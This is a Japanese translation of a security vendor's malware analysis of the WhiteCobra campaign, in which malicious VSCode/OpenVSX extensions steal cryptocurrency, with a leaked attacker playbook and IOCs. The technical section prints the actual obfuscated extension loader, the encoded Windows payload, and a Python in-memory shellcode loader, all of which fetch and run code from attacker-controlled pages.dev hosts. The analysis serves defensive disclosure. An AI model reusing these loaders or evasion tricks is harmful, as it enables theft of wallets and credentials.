VSCode、Cursor、Windsurfのユーザーを狙う悪意ある拡張機能の新たな波24件が、この1か月間にVSCodeおよびOpenVSXマーケットプレイスに侵入していましたが、今回その具体的な手口が判明しました。
本日私たちは、私たちが1年以上追跡してきたWhiteCobraと呼ばれる脅威アクターグループによる、組織的なキャンペーンの実態を明らかにします。このグループは、2か月前に明らかになった50万ドル規模の暗号資産窃取事件や、2024年から2025年にかけてVSCodeおよびOpenVSXマーケットプレイスに公開された一連の悪意ある拡張機能の背後にいた同じグループであり、今回進化した手口を携えて再び活動を再開しています。
私たちはWhiteCobraの手口書を入手することに成功しました。今回、数年間にわたり活動を続けてきた高度な脅威アクターグループの活動内部を、極めて稀な形で覗き見ることができました。Koiは、WhiteCobraのインフラ、宣伝戦略、そして驚くべき収益予測を明らかにする詳細な展開計画を回収しました。
この新たな悪意ある拡張機能の波は、すでに著名な被害者を生んでいます。暗号資産系インフルエンサーのzak.eth氏は、WhiteCobraの悪意あるCursor拡張機能によってウォレットを空にされ、この事件はX(旧Twitter)で200万回以上の閲覧数を集めました。
zak.eth氏は単なる一般の被害者ではなく、10年のセキュリティ実務経験を持つセキュリティ専門家であり、今回の攻撃がどれほど高度な水準に達しているかを物語っています。私たちはこの新たな波を報告し、それ以降テイクダウンが進んでいますが、WhiteCobraは今週も含め、毎週新たな悪意ある拡張機能をアップロードし続けています。そのため、zak.eth氏が最後の被害者になる可能性は極めて低いといえます。
ここからは、WhiteCobraが杜撰なPowerShellマイナーから、MacOSにも対応したステルス性の高い暗号資産窃取ツールへとどのように進化したのか、なぜ「ダウンロード数の水増し」という古典的な手口が今なお彼らを正当な存在に見せかけているのか、そして多段階のペイロード配送がどのような仕組みで動作しているのかを、順を追って解説していきます。
時給50万ドルの計画:流出したWhiteCobraの手口書の中身
私たちは「DEPLOYMENT PLAN: Operation Solidity Pro」と題されたMarkdownファイルを回収しました。それはまるで映画のような、犯罪的な事業計画書そのものでした。
今回このブログ記事では、その計画の中身を段階を追って解説していきますが、これらの攻撃の再現を可能にしてしまう技術的な詳細は除去した上で、この決定的証拠となる文書の一部を伏せ字にして掲載しています。
文書の冒頭では、想定される収益について冷徹な試算が示されています。
- 低め見積もり: 時給10,000ドル(選定した高価値ウォレットを狙う場合)
- 高め見積もり: 時給500,000ドル(「クジラウォレット」を含む広範な感染を実現した場合)
しかし、この収益予測はほんの序章に過ぎません。この手口書は、VS Code拡張機能エコシステムを兵器化するための完全な設計図を提供しているのです。
5段階の攻撃戦略
- 第1段階:パッケージング – 悪意あるVSIXファイルを作成するための手順
- 第2段階:展開 – 「説得力のある詳細情報」を添えてOpenVSXにアップロードする手順
- 第3段階:宣伝 – ソーシャルメディア用のテンプレートとボットによるエンゲージメント戦術
- 第4段階:水増し – 「社会的証明」を作り出すため、5万件の偽ダウンロードを生成する自動化スクリプト
- 第5段階:窃取 – 盗み出したシードフレーズのリアルタイム監視と即座の資金移動
この文書には、盗んだ資金の送金先となるウォレットアドレスまで記載されており、ポート8041でのScreenConnectバックドアを含む、コマンド&コントロール(C2)インフラの構築に関する具体的な手順も明記されていました。
偽のダウンロード数:大規模な信頼の捏造
この手口書から判明した最も深刻な事実の一つは、信頼性を組織的に偽装する手法です。彼らのマニュアルには「ダウンロード数が5万件という目標に達するまでスクリプトを実行し続けること。これにより、拡張機能を見つけた開発者に対して社会的証明を提供できる」と直接記されています。実際には、悪意ある拡張機能はこれよりもはるかに多いダウンロード数を示していることも珍しくありません。これがどれほど紛らわしいか実感していただくため、次のスクリーンショットをよく見て、どちらが本物のSolidity拡張機能で、どちらがマルウェアか当ててみてください。
もし108Kダウンロードの#1が本物だと思われたなら、おめでとうございます。あなたはまさに今マルウェアをインストールしたところです。64Kダウンロードの#2の方こそが実は正規版であり、悪意あるバージョンはより信頼できるように見せかけるため、数値を水増ししているのです。これこそまさに、zak.eth氏をはじめ数え切れないほどの開発者が被害に遭った経緯であり、偽物の方が本物よりも本物らしく見えるという実態を表しています。
この手口書では続けて、ダウンロード数の水増し戦略について次のように詳述されています。
- 「数千件の高品質なレジデンシャルプロキシ」の調達
- 水増しを自動化するPythonスクリプト(
download_bot.py) - 展開直後にただちにボットを稼働させ、即座に信頼性を作り出すための指示
膨大な数の偽ダウンロードを装うことで、彼らは開発者を、時にはマーケットプレイスの審査システムさえも欺き、自分たちの拡張機能が安全で人気があり、審査済みであるかのように信じ込ませ続けています。何気なく見ている人にとって、10万件のインストール数は正当性を示す証拠に映ります。攻撃者たちはまさにそこに付け込んでいるのです。
大規模なソーシャルエンジニアリング:X(Twitter)キャンペーン
この手口書には、あらかじめ用意されたソーシャルメディア投稿のテンプレートと、洗練された宣伝戦略が含まれています。投稿内容は、開発者心理を突くように巧妙に作り込まれています。
次のような操作的な手法に注目してください。
- 人為的な緊迫感の演出(「取り残されるな」「参加が最後にならないように」)
- 偽の社会的証明(「5万人以上の開発者が乗り換えた」-これも自分たちで生成した偽のダウンロード数と同じ手口)
- 攻撃的なポジショニング(「Hardhatはもう終わっている」「彼らはあなたに知られたくない」)
- 「時代遅れの」ツールを使い続けることへの不安を突くFOMO(取り残される恐怖)トリガー
この手口書は、運用担当者に対して次のように指示しています。
- 著名な開発者系インフルエンサーを模した「高評価のXアカウント」を使用すること
- 自然な発見であるかのように見せかけるため、投稿を2時間おきに分散させること
- 関連する開発者間の会話に対して「いいね、リツイート、コメント」を行うボットを展開すること
こうした組織的なソーシャルメディア操作こそが、これらの悪意ある拡張機能がこれほど急速に勢いを得る理由を説明しています。実際の開発者たちがそれについて議論を始める頃には、すでに偽の推薦や人為的な話題性によって会話の土壌が作られてしまっているのです。
技術的深掘り:WhiteCobraのペイロード配送チェーン
WhiteCobraの活動は、単に執拗であるだけではありません。技術的に何層にも重なり、難読化され、意図的に検知を回避するよう設計されています。ここからは拡張機能の実行フローをたどり、最終的な悪意ある実行ファイルがどのように配送され、クロスプラットフォームで実行されるのかを解き明かしていきます。
これは一般的なスクリプトキディ程度の代物ではなく、周到に段階分けされた、プラットフォームを意識した感染チェーンです。
ここでは脅威アクターがOpenVSXにアップロードした拡張機能の一つ(実質的にはどれも同じ内容です)を分析します。それは「juan-blanco」による「solidity」という拡張機能です(正規の拡張機能は同名で作者名が「juanblanco」となっています)。
ここから、実際に難読化されたコードとその解読結果を交えた、多段階の解説が続きます。心してご覧ください。
第1段階:extension.jsから実行が始まる
一見すると、拡張機能のメインファイルである「extension.js」は完全に無害に見えます。実際、これはあらゆるVSCode拡張機能テンプレートに標準で付属している「Hello World」の雛形とほぼ同一です。怪しいロジックは一切なく、シンプルで最小限の構成となっています。唯一の追加機能は、「./utils/prompt」から「ShowPrompt」関数を呼び出している部分だけです。
extension.js
const vscode = require("vscode");
const { ShowPrompt } = require("./utils/prompt");
// This method is called when your extension is activated
// Your extension is activated the very first time the command is executed
/**
* @param {vscode.ExtensionContext} context
*/
function activate(context) {
// Use the console to output diagnostic information (console.log) and errors (console.error)
// This line of code will only be executed once when your extension is activated
console.log("Congratulations, your extension is now active!");
const result = ShowPrompt();
. . .
この単純な呼び出しによって、実行はprompt.jsファイルへと引き渡されます。これこそが攻撃チェーンの真の入り口です。悪意ある処理を副次的なスクリプトに切り分けることで、脅威アクターは、メインファイルのみを確認する静的レビューや自動スキャンにおいて危険信号が検知されるのを回避しています。
ShowPrompt()関数の中には、evalを使って実行される追加コードが隠されています。
prompt.js
const translationsArr = [
. . .
"tcG$Rpcj1hc3lu",
"e2NvbnN$0IHR",
];
// Small helper function to show prompt
function ShowPrompt() {
// Get global store for singleton
const globalStore = globalThis;
// Get singleton
const singletonFunc = globalStore[atob("Z&X&Z&h&b&A&=&=&".replaceAll("&", ""))];
singletonFunc(atob(translationsArr.reverse().join("").replaceAll("$", "")));
}
evalはこの部分に隠されています – “Z&X&Z&h&b&A&=&=&” -> “ZXZhbA==” -> “eval”
その結果得られるスクリプトは、プラットフォームに応じてCloudflareのpages.devから次の段階をダウンロードします。
resulted script
if (!["win32", "darwin"].includes(process.platform)) return;
. . .
eval((await download(
process.platform === "win32"
? "https://g83u.pages.dev/hjxuw1x.txt"
: "https://g83u.pages.dev/qp5tr4f.txt"
)).toString());
第2段階:プラットフォーム別ペイロード
ここではWindows向けペイロードを見ていきましょう。これも同じ手法でeval呼び出しを隠しており、base64エンコードされたスクリプトを持っています。
Windows Second Payload
const anil6 = globalThis;
const airf3 = anil6[atob("Z$X$Z$h$bA$=$=$".replaceAll("$", ""))];
airf3(atob("e2N(vbnN(0(IGk9(YXN5bmMgdD0+e2xl(d(CAkPWF3YWl0(IGltcG9y( . . .
エンコードされたスクリプトの内容は次の通りです。
Windows second payload encoded script
{const i=async t=>{let $=await import("path"),a=await import("os");return $.join(a.tmpdir(),t)};(async()=>{let t=await import("child_process"),$=await import("fs"),a=await import("path"),e=await i("abwgfrf"),c=a.join(e,"python.exe"),o=await i("ufqk6i6"),s=`$zip = "${e}.zip"; $dest = "${e}"; $wc = New-Object System.Net.WebClient; $wc.DownloadFile("https://www.python.org/ftp/python/3.12.8/python-3.12.8-embed-win32.zip", $zip); New-Item -Path $dest -Force -ItemType Directory; Add-Type -AssemblyName System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory($zip, $dest); Remove-Item -Path $zip -Force;`;$.existsSync(c)||t.spawnSync("powershell.exe",["-Command",s],{stdio:"ignore",windowsHide:!0}),$.existsSync(c)&&($.writeFileSync(o,`aaclo = lambda s, r: s.replace(r, "")[::-1]
atvqe = globals()[aaclo("_&_&s&n&it&l&i&u&b&_&_", "&")]
aks5y = atvqe.__dict__[aaclo("r)t)t)a)t)eg)", ")")]
av3np = aks5y(atvqe, aaclo("_*_*t*r*o*p*m*i*_*_*", "*"))
a6t0x = aks5y(av3np(aaclo("46#e#s#a#b#", "#")), aaclo("e(d(o(ce(d(4(6(b(", "("))
aebbg = aks5y(av3np(aaclo("bi^l^z", "^")), aaclo("s&s&e&r&pm&oc&e&d&", "&"))
asd_d = aks5y(av3np(aaclo("s!nitl!iu!b!", "!")), aaclo("c#exe#", "#"))
asd_d(aebbg(a6t0x(aaclo("gxyb+$/Q8$K$QZnG/$XM$AvST0MVypXsVkeq$aVzh$vBz$OCBU$K$O$k9Na5IXnVIzkyq6RU$pTsd+$UyFgWb7W1stp/21qOj1120F9m8E$imKC$W7Qmcz$uuLRE$U/gpu+atIo+eTXEUpPXddo$X1$rVTrfh0jkWC0nYf6+k7n+3t$Sg/cO$YCDHhdpw+$p$s$Gb$IM$xbX2$7$h$TvnHwbPvn$w+3XpPR/X40Pofdt$aXrFuYD12ew7$2Mj/$gon5K$8$++A$p8XCE39A$Z7Kr$Qw$HbA1P$z1$g$9p+A7rE$/C1X$7PN5dRWj/r3uz6z/ygH$GQ$6LRcMs3TW$ObzI$8K3JGZdZBzdzND$H$Sq7TrhHG8pk2zlHT$9$ge4aJM$qh$GEwHrH$0Td$3B+IA$/yw$YOnHmL2hahXljt7CNRwfYP0$4qiaGd4KlnX51V7zjVMlE$hCFw$WOgx2XmSIh$kEfMC2OSoQxBAjIML0IC7X$lZ4kFLSfMNN7uPNm$dZPtt1j1$zF1$6h$kCBNnh9k$IoTXDMBGG9qzAwdjq$LP9ESo9Yr$fAHKFTcHxwL80$5SxP83LKZ1P97$9u$7hk$uhoa$u54IIXixYNofaj5Zc3f0t7$3$LioLnQJn$I$D5sDTeSF779$My12bHOQQN9hKB$ZjNUF2/$K0$3KU9TQlj$hau6S$9drgfEK47V8$mhpyBucrhIQE$lwZJJcHI$pTS$igwk8EVx1$u48si87m$mfr8Hy/I+5Rq$L6W$IIqi723ugczyI3RJ$dp$IOQS/DoJK$9$Fy$uMA1$HgW$KbBdZRIeXIHxRe$+31XE$YX8N5$NC3ZacaGputAsCREhMc9hwQH$LnlRY$fvgL$GqK5vYR$+QOQj$qasEzBv7UdqAlMQeW7r5i$2W$k9$xrL15SaERSgSE7DSy$Vo/wN/j5r$42$2E9RrBhS4EdchHzD2JNRhwC$8UvktzEXcnpORlbd5wwP3aQQrHm42gRZd5$eja+q$LzJ75X6lTQo0uFg$evn$22$325YFs6uuy$dcMc68D$PckjbB$d$ta2jX$tF$nzNSNZ78bcX$V/zP8Nn6NWV$a8XT$5X$371Z3$jgvzszPq7cql$UBNeG$ri8hv8wHZ$o8$8SP9$tWq$cxe5G$SHu$b7q$c/wNBdHlF$u5bdlq1N649$D0d1ZY65f460btZlvv$q$WWeul5ilhN4VX/t$3$oCbcHqPPhnpLYQz8$CwFv+fx99qr1rf7$Rc$6U/RdP9$hVnNM$4N$L08x$3S9zxf9BM74peTe0wn9E$U$8H3995ctUy$slchXc$27I2z+$yXdPmdK7ymL$1cz6Jk/X$zYS7$IXbHt+cE/$jX2JH7tmGmUcfd$cnXN+tuC$ga8hkXCVPMBc$9YdaY$PGXD2$xam7kqc8Vgg36$KtT$T$UVRQogzHNQJ$HkOwqQS6U0$jH5oqAOS$QJI$HHDtttPYI$63$tsDsg9okqFQdc$CR1hZ$AiKdZBnmRRoLgIcX$L5v7$nm+D$7eh2ZnpNJxwt$dv/WclsI+Q0$4ttdJ$Ukq$kh5IEIkxcs5xl$F$AnjrUU7bG8$TH+5xQgj4zl1$k9x$Je", "$"))))`),t.spawn(c,[o],{shell:!0,windowsHide:!0}),setTimeout(()=>process.exit(),2e3))})().catch(()=>0)}
複雑に見えますね……少し難読化を解いて、実際にこれが何をしているのかお見せしましょう。
Windows second payload deobfuscated
{
const createTmpDir = async t => {
let path= await import("path"), os=await import("os");
return path.join(os.tmpdir(),t)
};
(async() => {
let child_process=await import("child_process"),
fs=await import("fs"),
path=await import("path"),
tmpDir1=await createTmpDir("abwgfrf"),
resultPythonPath=path.join(tmpDir1,"python.exe"),
tmpDir2=await createTmpDir("ufqk6i6"),
powershellCommandInstallPython=`
$zip = "${tmpDir1}.zip";
$dest = "${tmpDir1}";
$wc = New-Object System.Net.WebClient;
$wc.DownloadFile("https://www.python.org/ftp/python/3.12.8/python-3.12.8-embed-win32.zip", $zip);
New-Item -Path $dest -Force -ItemType Directory; Add-Type -AssemblyName System.IO.Compression.FileSystem;
[IO.Compression.ZipFile]::ExtractToDirectory($zip, $dest);
Remove-Item -Path $zip -Force;
`;
fs.existsSync(resultPythonPath) || child_process.spawnSync("powershell.exe",["-Command",powershellCommandInstallPython],{stdio:"ignore",windowsHide:!0}),
fs.existsSync(resultPythonPath) && (fs.writeFileSync(tmpDir2,`
builtins = globals()['__builtins__']
getattr = builtins.__dict__['getattr']
import = getattr(builtins, '__import__')
base64_b64decode = getattr(import('base64'), 'b64decode')
zlib_decompress = getattr(import('zlib'), 'decompress')
exec = getattr(import('builtins'), 'exec')
exec(zlib_decompress(base64_b64decode('eJx9k1lz4jgQx5+HT8Gb7UUrjnAFlx5scxkIEI5hkqkUJdtt40Q+IslcW/vdtwxJNpnZ2he7D+mn7v5LXcIgLoRRmnBZdKiAZh1RCcdQFqko9gsDst36IYPtttDHHIJQSOAqo5Hj0U6SQqwOkHJQNHzgoQRVUTTtK63ggV8cqk7max2DXGPYadY9cBMPVCXkh8agCut+NXncdfcUmGmt7HJ2Xj/Ec+tHbXI7SYzX/kJ6zc1Lmy7KdmPdXy+z2I72cXhclsyUtc5993H8UE9nw0eTep47MB9fxz9S3x80LN4MNnVh9PdR/U6cR7fr1rq99xf+vFwC8zQYLpnhPPqHcbCo3t/XV4Nhli5lueWWqvvlZtb064f56YZ1d0D946N1qldb5uFlHdBNw/cq7buHSG5excqWt9PS88oZHw8vh8irGeNBUlqc7qPzszvgj3Z173X5TX8aVWN6nN8Pz/VXcb87ZNSNznFtXj2atdBbjkcPD86cMcdyuu6sFY52322nvegFu0oQTl6X57JzLq+aje5dZRg24mHrQQa3Pww5dblROpncXEztkvU8CwhRNJ2DzHhcdE4ShBrR9E224r5j/Nw/oVySD7ESgSREaS51Lrx9kW2i5r7WeQMlAqdU7vBzEsaqjQOQ+RYv5KqGLgvfYRlnLHQwh9cMhERCsAtupGacaZ3CN5N8XYEX13+eRxHIXeIRZdBbKWgH1AMuyF9KJoD/SQOIpdJR3Iyzcgu327iqIIW6LqR5+I/yH8rfmm78is84u1xVE8kwgiSTpIHcJJZwlEQIhrcuByphm8V74KEfgrd9S6uahjlQT9UK30K/2FUNjZBKh9NQQOHb21yM977FSeTDs5DInJQnLoiL37t0f3cZ5jafoNYxiXII45uaohukh7u979P1ZKL38PxS508LwxHcTFKHAfrY9oSE9PLqjdwAzq9GGBMDXToIk9hnNBCkh61Fz1j1ttPZdmNPu7NNMfSLFk4ZlX7CI0LMIjABxQoSO2CMfEkhISmX2xgOWwFChElMVjz7V15XnlK4dGaiq40PYfwRNC7tjlXhah2LmHnOYwy/AI+B3dT0HrHwEGhqMJa4eg9THlz2kp8GHhrT7qSHDNzdzBZdZGJ3K8IzbOWT3sMcRL6QGHgy/z6zu3r/jWRd5NP7X1C/Er7A+p9g1zP1AbHwQrK7ZA93ECX8pA++8K5nog/jM27we21DYuFrXatdfoP04X/RPpX3+wnvPbwHnvTh72XbxMIbGsp+wpdhHDCYOc/gSt3+n7k+6fYn0CWkj0hfrTVr1XoddXPpUEXTe+oIta+upg/UERLuuzcmQ7WCKmiE8m9F0211jOq12/pts1W7bWgFyU+dsTpUR6qykzIVnXI5aN9kOKUBCOzBvhzVaqekVsXpyVM0TSvAMX/GnZQK8Q/+byxg')))`),
child_process.spawn(resultPythonPath,[tmpDir2],{shell:!0,windowsHide:!0}),
setTimeout(()=>process.exit(),2e3))}
)().catch(()=>0)
}
なるほど、つまり単純にPowerShellを使ってPythonをダウンロードし、その後エンコードされたPythonスクリプトを実行しているのです!
このPythonスクリプトは、拡張子「pyd」を持つファイル(実際にはpydファイルとは何の関係もありません)をpages.devからダウンロードし、ハードコードされた置換キーを使って復号した上で、ダウンロードしたシェルコードを直接メモリ上で実行します。
Python script
def Decrypt(buf):
key=base64.b64decode('irw5G1eUF1oZhDvaelBCTI/uzUYnPCX2L9LoAqFRtd6Wk8aR/I5UFUSunImvnixS+Bpl7zFcZKY4pOHZBaddcGBZqKXpffG5Cr6gW4sAFvm4MszJ9U7U8vfRfP/+eByGHSlAbZfwKgR1QQ4TGHupSt/7c+1vSWO6f4wPy3lDheafxZCy417BwkUgaW5fd08MYmtWqsTIt9N+jTbKxwkwmd2AKGo+RyQmzjcGrZI1vdDr3FNm1naxPQHz4qsQhwuacmzn2P1xB2idSKJYYbPllbCbDcO7iJhVIb8REgh0giLqSz/bz/T65DM0Hi5nH7Ytg9XAtNcrA+yBrBRNI+CjOg==');
return bytes(map(lambda v:key[v],buf))
def ExecuteInMemory(shellcode):
winkernel32=ctypes.windll.kernel32;
HeapAlloc=winkernel32.HeapAlloc;
HeapAlloc.argtypes=[wintypes.HANDLE,wintypes.DWORD,ctypes.c_size_t];
HeapAlloc.restype=A.LPVOID;
HeapCreate=winkernel32.HeapCreate;
HeapCreate.argtypes=[wintypes.DWORD,ctypes.c_size_t,ctypes.c_size_t];
HeapCreate.restype=wintypes.HANDLE;
RtlMoveMemory=winkernel32.RtlMoveMemory;
RtlMoveMemory.argtypes=[wintypes.LPVOID,wintypes.LPVOID,ctypes.c_size_t];
RtlMoveMemory.restype=wintypes.LPVOID;
CreateThread=winkernel32.CreateThread;
CreateThread.argtypes=[wintypes.LPVOID,ctypes.c_size_t,wintypes.LPVOID,wintypes.LPVOID,wintypes.DWORD,wintypes.LPVOID];
CreateThread.restype=wintypes.HANDLE;
WaitForSignalObject=winkernel32.WaitForSingleObject;
WaitForSignalObject.argtypes=[wintypes.HANDLE,wintypes.DWORD];
WaitForSignalObject.restype=wintypes.DWORD;
HeapCreate2=HeapCreate(262144,len(shellcode),0);
HeapAlloc(HeapCreate2,8,len(shellcode));
RtlMoveMemory(HeapCreate2,shellcode,len(shellcode));
NewThread=CreateThread(0,0,HeapCreate2,0,0,0);
WaitForSignalObject(NewThread,4294967295)
ExecuteInMemory(Decrypt(FetchFromURL('https://g83u.pages.dev/m22yo21.pyd')))
第3段階:シェルコード実行ファイル
このシェルコードは、暗号資産関連の情報などをマシンから窃取するPE実行ファイル、LummaStealer(商用の情報窃取ツール)を実行します。
私たちが分析した結果、これはマシン内の非常に多様なサービスを探索していることが判明しました。
- 暗号資産ウォレットおよび関連情報
- AnyDesk、VPN、VNCなどの接続サービス
- クラウドインフラ
- メッセージングプラットフォーム
- パスワードマネージャー
- ウォレット&パスワード管理用のブラウザ拡張機能

実行中、以下のC2サーバーと通信を行います。
- Iliafmoj[.]forum
- mastwin[.]in
まとめ
WhiteCobraから流出した手口書は、彼らの手法そのものだけでなく、それ以上のものを明らかにしています。それは、拡張機能を悪用した攻撃が「産業化」しているという実態です。文書化されたプロセス、自動化されたツール、そして被害者を単なる数字として扱う収益予測が示す通り、これはもはやハッキングではなく、一つの事業活動なのです。
私たちはこの24件の亜種を報告し、それらはテイクダウンされましたが、WhiteCobraは今もなお毎日のように新たな悪意ある拡張機能をアップロードし続けています。この手口書によれば、パッケージングから宣伝、そして収益化まで、彼らはわずか3時間足らずで新たなキャンペーンを展開できるとされています。
攻撃者の高度化と開発者側の防御力との間に広がり続けるこのギャップこそが、真の脅威です。WhiteCobraのような脅威アクターは産業レベルの精密さで活動している一方、一般の開発者には、安全なツールと悪意あるツールを見分けるための信頼できる手段がほとんど存在しません。マーケットプレイスの評価、ダウンロード数、さらには公式レビューでさえも操作され得るため、経験豊富な専門家でさえ被害を免れません。信頼性を検証するためのより優れた仕組みがなければ、優位性は依然として攻撃者側に固く握られたままです。
Koiは、まさにこの問題を解決するために作られました。私たちのプラットフォームは、実務担当者や企業に対し、VS Code、NPM、Chromeウェブストア、Hugging Face、Homebrewといったエコシステムからチームが取り込むものを、発見・評価・制御する力を提供します。現在、世界最大級の銀行やフォーチュン50企業、大手テクノロジー企業の一部が、可視性の確保、ガバナンスの確立、そして拡大し続けるこの攻撃対象領域を先回りして縮小するプロセスを自動化するために、Koiを活用しています。
その仕組みをご覧になりたい方、あるいはすぐに行動を起こしたい方は、デモを予約いただくか、私たちまでお問い合わせください。
さらに続報をお届けする予定ですので、ぜひご期待ください。
IOC(侵害指標)
拡張機能ID:
Open-VSX(Cursor/Windsurf)
ChainDevTools.solidity-prokilocode-ai.kilo-codenomic-fdn.hardhat-solidityoxc-vscode.oxcjuan-blanco.soliditykineticsquid.solidity-ethereum-vscETHFoundry.solidityethereumJuanFBlanco.solidity-ai-ethereumEthereum.solidity-ethereumjuan-blanco.solidityNomicFdn.hardhat-solidityjuan-blanco.vscode-soliditynomic-foundation.hardhat-soliditynomic-fdn.solidity-hardhatCrypto-Extensions.solidityCrypto-Extensions.SnowShsoNo
VS Code
JuanFBlanco.awswhhETHFoundry.etherfoundrysEllisonBrett.givingblankiesMarcusLockwood.wgbkVitalikButerin-EthFoundation.blan-coShowSnowcrypto.SnowShoNoCrypto-Extensions.SnowShsoNoRojo.rojo-roblox-vscode
ネットワークIOC:
https://g83u.pages[.]dev/hjxuw1x.txthttps://g83u.pages[.]dev/qp5tr4f.txtIliafmoj[.]forummastwin[.]inniggboo[.]com
ファイルハッシュ:
1a728a7b7f68a71474a6a04f92960b18aae45ae5d00ea9a1d88174f8bd4ffa10– Mac ARM実行ファイル89848e8a1c8840a0561fcae2948b5941ed55a53474298007d7272f391b28c1b9– Mac ARM実行ファイルfa078483566de02cb64d970d06aa82470beee4c665cfee6915968cb0adb2c6c4– Mac Intel実行ファイル39459ad404c9f0ad361d82b9f96d60f13a9281d3746ada4ef8675dd80fcb9a7e– Mac Intel実行ファイルe8ce84a6e84d4bb0ee50dcde0a72dab9f2e6a2c2f80eeab4df243d5eaaa57a6f– Windowsシェルコード99b976ff0908b03d277bc96d0010b0f1aef8ae1529b753c645c57b7399760a51– Windowsシェルコード22350ef4cdee6af4cbe7809f98256dbfd882dab08ea51ab14880d5da9ce9c06d– Windows LummaStealer118b10295fea2613f72bc89074db9ab82a57c44ab7f62bddb3a86a4ed87f379f– Windows LummaStealer
翻訳元: https://www.koi.ai/blog/whitecobra-vscode-cursor-extensions-malware